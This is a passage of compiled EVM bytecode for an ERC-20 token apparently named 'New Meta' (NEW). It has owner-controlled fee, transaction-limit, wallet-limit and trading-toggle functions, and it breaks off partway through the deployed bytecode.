34801561019d57600080fd5b506101a6610623565b6040516101b39190612a46565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612b06565b610660565b6040516101f09190612b61565b60405180910390f35b34801561020557600080fd5b5061020e610677565b60405161021b9190612b8b565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612ba6565b6106b8565b005b34801561025957600080fd5b50610274600480360381019061026f9190612bf9565b61076c565b005b34801561028257600080fd5b5061029d60048036038101906102989190612c9b565b61088e565b6040516102aa9190612b61565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190612cee565b610959565b6040516102e79190612b61565b60405180910390f35b3480156102fc57600080fd5b506103056109b2565b6040516103129190612d37565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190612de3565b6109bb565b005b34801561035057600080fd5b5061036b60048036038101906103669190612cee565b610aa8565b6040516103789190612b61565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612e43565b610ac8565b005b3480156103b657600080fd5b506103bf610b6b565b005b3480156103cd57600080fd5b506103d6610bc0565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612cee565b610c25565b60405161040c9190612b8b565b60405180910390f35b34801561042157600080fd5b5061042a610c6e565b005b34801561043857600080fd5b50610441610d31565b60405161044e9190612b8b565b60405180910390f35b34801561046357600080fd5b5061046c610d37565b6040516104799190612b8b565b60405180910390f35b34801561048e57600080fd5b50610497610d3d565b6040516104a49190612b8b565b60405180910390f35b3480156104b957600080fd5b506104c2610d43565b6040516104cf9190612e92565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa9190612b06565b610d6c565b005b34801561050d57600080fd5b5061052860048036038101906105239190612ead565b610efd565b005b34801561053657600080fd5b5061053f611115565b60405161054c9190612a46565b60405180910390f35b34801561056157600080fd5b5061056a611152565b6040516105779190612e92565b60405180910390f35b34801561058c57600080fd5b506105a760048036038101906105a29190612b06565b611178565b6040516105b49190612b61565b60405180910390f35b3480156105c957600080fd5b506105e460048036038101906105df9190612f00565b61118f565b6040516105f19190612b8b565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190612ba6565b611216565b005b60606040518060400160405280600881526020017f4e6577204d657461000000000000000000000000000000000000000000000000815250905090565b600061066d338484611391565b6001905092915050565b60006106b36106866000610c25565b6106a561069461dead610c25565b60015461155a90919063ffffffff16565b61155a90919063ffffffff16565b905090565b6106c133610959565b610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612f8c565b60405180910390fd5b82600a81905550610731620186a06107238460015461157090919063ffffffff16565b61158690919063ffffffff16565b600b81905550610761620186a06107538360015461157090919063ffffffff16565b61158690919063ffffffff16565b600c81905550505050565b61077533610959565b6107b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ab90612f8c565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f819055508260118190555081601281905550806013819055506107fb600160145461158690919063ffffffff16565b60115411158015610823575061081d600160145461158690919063ffffffff16565b60125411155b80156108465750610840600160145461158690919063ffffffff16565b60135411155b610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c9061301e565b60405180910390fd5b50505050505050565b600061089b84848461159c565b61094e8433610949856040518060600160405280602881526020016139ce60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e669092919063ffffffff16565b611391565b600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109c433610959565b610a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fa90612f8c565b60405180910390fd5b60005b83839050811015610aa2578160056000868685818110610a2957610a2861303e565b5b9050602002016020810190610a3e9190612cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9a9061309c565b915050610a06565b50505050565b60046020528060005260406000206000915054906101000a900460ff1681565b610ad133610959565b610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612f8c565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b7433610959565b610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612f8c565b60405180910390fd5b610bbe600b54611ebb565b565b610bc933610959565b610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612f8c565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c7733610959565b610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad90612f8c565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610d279190612e92565b60405180910390a1565b601a5481565b60195481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d7533610959565b610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90612f8c565b60405180910390fd5b6000610e556064610e47848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610df89190612e92565b602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906130f9565b61157090919063ffffffff16565b61158690919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610eb4929190613126565b6020604051808303816000875af1158015610ed3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef79190613164565b50505050565b610f0633610959565b610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c90612f8c565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60606040518060400160405280600381526020017f4e45570000000000000000000000000000000000000000000000000000000000815250905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061118533848461159c565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61121f33610959565b61125e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125590612f8c565b60405180910390fd5b600061128961271061127b8660015461157090919063ffffffff16565b61158690919063ffffffff16565b905060006112b66127106112a88660015461157090919063ffffffff16565b61158690919063ffffffff16565b905060006112e36127106112d58660015461157090919063ffffffff16565b61158690919063ffffffff16565b9050826018819055508160198190555080601a81905550600061132b6103e861131d600561130f610677565b61157090919063ffffffff16565b61158690919063ffffffff16565b905080841015801561133d5750808310155b80156113495750808210155b611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90613203565b60405180910390fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f790613295565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361146f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146690613327565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161154d9190612b8b565b60405180910390a3505050565b600081836115689190613347565b905092915050565b6000818361157e919061337b565b905092915050565b6000818361159491906133ec565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361160b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116029061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361167a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167190613521565b60405180910390fd5b61168383610c25565b8111156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906135b3565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117695750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117be57600760149054906101000a900460ff166117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b49061361f565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118625750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118bc5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199257601a5461195082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212890919063ffffffff16565b1115611991576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119889061368b565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ad55760195481111580611a415750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a955750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb906136f7565b60405180910390fd5b5b60185481111580611b2f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb9906136f7565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c695750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8957600160086000828254611c819190613717565b925050819055505b611c9483838361213e565b15611cad57611ca4600b54611ebb565b60006008819055505b611cff81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155a90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611d4e8484612278565b611d585781611d64565b611d63848484612326565b5b9050611db881600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e589190612b8b565b60405180910390a350505050565b6000838311158290611eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea59190612a46565b60405180910390fd5b5082840390509392505050565b6001600960006101000a81548160ff0219169083151502179055506000611f296002611f1b600f54611f0d600e54611eff6001600d5461212890919063ffffffff16565b61212890919063ffffffff16565b61212890919063ffffffff16565b61157090919063ffffffff16565b90506000611f5482611f46600d548661157090919063ffffffff16565b61158690919063ffffffff16565b90506000611f6b828561155a90919063ffffffff16565b90506000479050611f7b826124e4565b6000611f90824761155a90919063ffffffff16565b90506000611fbb611fac600d548861155a90919063ffffffff16565b8361158690919063ffffffff16565b90506000611fd4600d548361157090919063ffffffff16565b90506000811115611fea57611fe98682612727565b5b6000612014600e5461200660028661157090919063ffffffff16565b61157090919063ffffffff16565b9050600081111561208957601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612087573d6000803e3d6000fd5b505b6000479050600081111561210157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ff573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b600081836121369190613717565b905092915050565b600080600c5483101590506000600b5461215730610c25565b10159050600960009054906101000a900460ff161580156121845750600760159054906101000a900460ff165b801561219c5750600760149054906101000a900460ff165b80156121a55750815b80156121fb5750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122545750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156122645750600a5460085410155b801561226d5750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561231e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806123338585612827565b11156124d957600061236b6123488686612827565b61235d6014548661158690919063ffffffff16565b61157090919063ffffffff16565b90506123bf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161245f9190612b8b565b60405180910390a3600060105411801561248357506010546124818686612827565b115b156124be576124bd3061dead6124b86010546124aa6014548961158690919063ffffffff16565b61157090919063ffffffff16565b61159c565b5b6124d1818461155a90919063ffffffff16565b9150506124dd565b8190505b9392505050565b6000600267ffffffffffffffff8111156125015761250061374b565b5b60405190808252806020026020018201604052801561252f5781602001602082028036833780820191505090505b50905030816000815181106125475761254661303e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612612919061378f565b816001815181106126265761262561303e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268d30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611391565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126f19594939291906138bf565b600060405180830381600087803b15801561270b57600080fd5b505af115801561271f573d6000803e3d6000fd5b505050505050565b61275430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611391565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127dd96959493929190613919565b60606040518083038185885af11580156127fb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612820919061397a565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128ca5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128ec576128e5606460145461155a90919063ffffffff16565b90506129b0565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361294b5760125490506129b0565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129aa5760115490506129b0565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129f05780820151818401526020810190506129d5565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a18826129b6565b612a2281856129c1565b9350612a328185602086016129d2565b612a3b816129fc565b840191505092915050565b60006020820190508181036000830152612a608184612a0d565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9d82612a72565b9050919050565b612aad81612a92565b8114612ab857600080fd5b50565b600081359050612aca81612aa4565b92915050565b6000819050919050565b612ae381612ad0565b8114612aee57600080fd5b50565b600081359050612b0081612ada565b92915050565b60008060408385031215612b1d57612b1c612a68565b5b6000612b2b85828601612abb565b9250506020612b3c85828601612af1565b9150509250929050565b60008115159050919050565b612b5b81612b46565b82525050565b6000602082019050612b766000830184612b52565b92915050565b612b8581612ad0565b82525050565b6000602082019050612ba06000830184612b7c565b92915050565b600080600060608486031215612bbf57612bbe612a68565b5b6000612bcd86828701612af1565b9350506020612bde86828701612af1565b9250506040612bef86828701612af1565b9150509250925092565b600080600080600080600060e0888a031215612c1857612c17612a68565b5b6000612c268a828b01612af1565b9750506020612c378a828b01612af1565b9650506040612c488a828b01612af1565b9550506060612c598a828b01612af1565b9450506080612c6a8a828b01612af1565b93505060a0612c7b8a828b01612af1565b92505060c0612c8c8a828b01612af1565b91505092959891949750929550565b600080600060608486031215612cb457612cb3612a68565b5b6000612cc286828701612abb565b9350506020612cd386828701612abb565b9250506040612ce486828701612af1565b9150509250925092565b600060208284031215612d0457612d03612a68565b5b6000612d1284828501612abb565b91505092915050565b600060ff82169050919050565b612d3181612d1b565b82525050565b6000602082019050612d4c6000830184612d28565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612d7757612d76612d52565b5b8235905067ffffffffffffffff811115612d9457612d93612d57565b5b602083019150836020820283011115612db057612daf612d5c565b5b9250929050565b612dc081612b46565b8114612dcb57600080fd5b50565b600081359050612ddd81612db7565b92915050565b600080600060408486031215612dfc57612dfb612a68565b5b600084013567ffffffffffffffff811115612e1a57612e19612a6d565b5b612e2686828701612d61565b93509350506020612e3986828701612dce565b9150509250925092565b60008060408385031215612e5a57612e59612a68565b5b6000612e6885828601612abb565b9250506020612e7985828601612dce565b9150509250929050565b612e8c81612a92565b82525050565b6000602082019050612ea76000830184612e83565b92915050565b600080600060608486031215612ec657612ec5612a68565b5b6000612ed486828701612abb565b9350506020612ee586828701612abb565b9250506040612ef686828701612abb565b9150509250925092565b60008060408385031215612f1757612f16612a68565b5b6000612f2585828601612abb565b9250506020612f3685828601612abb565b9150509250929050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612f766006836129c1565b9150612f8182612f40565b602082019050919050565b60006020820190508181036000830152612fa581612f69565b9050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b6000613008602c836129c1565b915061301382612fac565b604082019050919050565b6000602082019050818103600083015261303781612ffb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130a782612ad0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130d9576130d861306d565b5b600182019050919050565b6000815190506130f381612ada565b92915050565b60006020828403121561310f5761310e612a68565b5b600061311d848285016130e4565b91505092915050565b600060408201905061313b6000830185612e83565b6131486020830184612b7c565b9392505050565b60008151905061315e81612db7565b92915050565b60006020828403121561317a57613179612a68565b5b60006131888482850161314f565b91505092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b60006131ed602e836129c1565b91506131f882613191565b604082019050919050565b6000602082019050818103600083015261321c816131e0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061327f6024836129c1565b915061328a82613223565b604082019050919050565b600060208201905081810360008301526132ae81613272565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133116022836129c1565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b600061335282612ad0565b915061335d83612ad0565b92508282039050818111156133755761337461306d565b5b92915050565b600061338682612ad0565b915061339183612ad0565b925082820261339f81612ad0565b915082820484148315176133b6576133b561306d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f782612ad0565b915061340283612ad0565b925082613412576134116133bd565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134796025836129c1565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061350b6023836129c1565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061359d6031836129c1565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000613609600e836129c1565b9150613614826135d3565b602082019050919050565b60006020820190508181036000830152613638816135fc565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613675601e836129c1565b91506136808261363f565b602082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006136e16011836129c1565b91506136ec826136ab565b602082019050919050565b60006020820190508181036000830152613710816136d4565b9050919050565b600061372282612ad0565b915061372d83612ad0565b92508282019050808211156137455761374461306d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061378981612aa4565b92915050565b6000602082840312156137a5576137a4612a68565b5b60006137b38482850161377a565b91505092915050565b6000819050919050565b6000819050919050565b60006137eb6137e66137e1846137bc565b6137c6565b612ad0565b9050919050565b6137fb816137d0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61383681612a92565b82525050565b6000613848838361382d565b60208301905092915050565b6000602082019050919050565b600061386c82613801565b613876818561380c565b93506138818361381d565b8060005b838110156138b2578151613899888261383c565b97506138a483613854565b925050600181019050613885565b5085935050505092915050565b600060a0820190506138d46000830188612b7c565b6138e160208301876137f2565b81810360408301526138f38186613861565b90506139026060830185612e83565b61390f6080830184612b7c565b9695505050505050565b600060c08201905061392e6000830189612e83565b61393b6020830188612b7c565b61394860408301876137f2565b61395560608301866137f2565b6139626080830185612e83565b61396f60a0830184612b7c565b979650505050505050565b60008060006060848603121561399357613992612a68565b5b60006139a1868287016130e4565b93505060206139b2868287016130e4565b92505060406139c3868287016130e4565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220688fb0a5f4e55a468b15f15af4e94c6057d48dab4eef1965f184986bb1814f7f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806370a08231116100d15780638cd4426d1161008a578063a8aa1b3111610064578063a8aa1b3114610555578063a9059cbb14610580578063dd62ed3e146105bd578063dfa3a2e3146105fa5761018c565b80638cd4426d146104d85780639213c3581461050157806395d89b411461052a5761018c565b806370a08231146103d8578063715018a61461041557806378109e541461042c5780637cca52fe146104575780637d1db4a514610482578063893d20e8146104ad5761018c565b80632f54bf6e1161013e5780633f4218e0116101185780633f4218e01461034457806348ff2b8b1461038157806351bc3c85146103aa57806351cd7cc3146103c15761018c565b80632f54bf6e146102b3578063313ce567146102f057806339efcf9e1461031b5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f95780631b5faebb146102245780632331777d1461024d57806323b872dd146102765761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610623565b6040516101b39190612a46565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612b06565b610660565b6040516101f09190612b61565b60405180910390f35b34801561020557600080fd5b5061020e610677565b60405161021b9190612b8b565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612ba6565b6106b8565b005b34801561025957600080fd5b50610274600480360381019061026f9190612bf9565b61076c565b005b34801561028257600080fd5b5061029d60048036038101906102989190612c9b565b61088e565b6040516102aa9190612b61565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190612cee565b610959565b6040516102e79190612b61565b60405180910390f35b3480156102fc57600080fd5b506103056109b2565b6040516103129190612d37565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190612de3565b6109bb565b005b34801561035057600080fd5b5061036b60048036038101906103669190612cee565b610aa8565b6040516103789190612b61565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612e43565b610ac8565b005b3480156103b657600080fd5b506103bf610b6b565b005b3480156103cd57600080fd5b506103d6610bc0565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612cee565b610c25565b60405161040c9190612b8b565b60405180910390f35b34801561042157600080fd5b5061042a610c6e565b005b34801561043857600080fd5b50610441610d31565b60405161044e9190612b8b565b60405180910390f35b34801561046357600080fd5b5061046c610d37565b6040516104799190612b8b565b60405180910390f35b34801561048e57600080fd5b50610497610d3d565b6040516104a49190612b8b565b60405180910390f35b3480156104b957600080fd5b506104c2610d43565b6040516104cf9190612e92565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa9190612b06565b610d6c565b005b34801561050d57600080fd5b5061052860048036038101906105239190612ead565b610efd565b005b34801561053657600080fd5b5061053f611115565b60405161054c9190612a46565b60405180910390f35b34801561056157600080fd5b5061056a611152565b6040516105779190612e92565b60405180910390f35b34801561058c57600080fd5b506105a760048036038101906105a29190612b06565b611178565b6040516105b49190612b61565b60405180910390f35b3480156105c957600080fd5b506105e460048036038101906105df9190612f00565b61118f565b6040516105f19190612b8b565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190612ba6565b611216565b005b60606040518060400160405280600881526020017f4e6577204d657461000000000000000000000000000000000000000000000000815250905090565b600061066d338484611391565b6001905092915050565b60006106b36106866000610c25565b6106a561069461dead610c25565b60015461155a90919063ffffffff16565b61155a90919063ffffffff16565b905090565b6106c133610959565b610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612f8c565b60405180910390fd5b82600a81905550610731620186a06107238460015461157090919063ffffffff16565b61158690919063ffffffff16565b600b81905550610761620186a06107538360015461157090919063ffffffff16565b61158690919063ffffffff16565b600c81905550505050565b61077533610959565b6107b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ab90612f8c565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f819055508260118190555081601281905550806013819055506107fb600160145461158690919063ffffffff16565b60115411158015610823575061081d600160145461158690919063ffffffff16565b60125411155b80156108465750610840600160145461158690919063ffffffff16565b60135411155b610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c9061301e565b60405180910390fd5b50505050505050565b600061089b84848461159c565b61094e8433610949856040518060600160405280602881526020016139ce60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffff